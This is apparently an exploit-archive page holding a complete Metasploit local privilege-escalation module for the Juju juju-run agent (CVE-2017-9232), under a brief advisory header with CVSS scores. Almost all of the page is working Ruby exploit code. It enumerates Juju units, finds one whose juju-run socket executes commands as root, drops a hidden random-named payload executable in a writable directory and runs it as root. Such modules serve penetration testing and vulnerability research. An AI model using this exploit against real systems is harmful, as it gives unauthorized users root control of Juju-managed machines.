Juju-run Agent Privilege Escalation

2018.02.12
Credit: Brendan Coles
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Juju-run Agent Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. This module has been tested successfully with Juju agent tools versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ryan Beisner', # Discovery and PoC 'David Ames (@thedac)', # Discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'DisclosureDate' => 'Apr 13 2017', 'Platform' => [ 'linux' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [[ 'Auto', {} ]], 'References' => [ [ 'CVE', '2017-9232' ], [ 'BID', '98737' ], [ 'URL', 'https://bugs.launchpad.net/juju/+bug/1682411' ] ] )) register_options( [ OptString.new('UNIT', [ false, 'A valid Juju unit name', '' ]), OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end def check juju_run_path = cmd_exec 'which juju-run' if juju_run_path.start_with? '/' vprint_good 'juju-run is installed' return CheckCode::Detected end vprint_error 'juju-run is NOT installed' CheckCode::Safe end def unit_names units = [] cmd_exec('/bin/ls -m /var/log/juju/*.log').chomp.split(/,\s*/).each do |log| units << ::File.basename(log).gsub(/\.log$/, '') end cmd_exec('/bin/ls -m /var/lib/juju/agents/').chomp.split(/,\s*/).each do |agent| units << ::File.basename(agent) end units.uniq end def execute_command(cmd, opts = {}) cmd_exec "juju-run #{opts['unit']} '#{cmd}'" end def upload_and_chmodx(path, data) print_status "Writing '#{path}' (#{data.size} bytes) ..." rm_f path write_file path, data cmd_exec "chmod +x '#{path}'" register_file_for_cleanup path end def exploit if check != CheckCode::Detected fail_with Failure::NotVulnerable, 'Target is not vulnerable' end units = datastore['UNIT'].blank? ? unit_names : [ datastore['UNIT'] ] if units.empty? fail_with Failure::Unknown, "Could not find any Juju units. Try specifying a 'UNIT'" end # Check each unit for a privileged socket print_status "Trying #{units.size} units..." socket_unit = nil unit_names.each do |unit| id = execute_command 'id', 'unit' => unit if id.include? 'root' print_good "Unit #{unit.inspect} uses a privileged socket" socket_unit = unit break end end if socket_unit.nil? fail_with Failure::NotVulnerable, 'Could not find any Juju units using a privileged socket' end # Upload payload executable payload_name = ".#{rand_text_alphanumeric rand(5..10)}" payload_path = "#{datastore['WritableDir']}/#{payload_name}" upload_and_chmodx payload_path, generate_payload_exe # Execute payload executable vprint_status 'Executing payload...' execute_command payload_path, 'unit' => socket_unit end end


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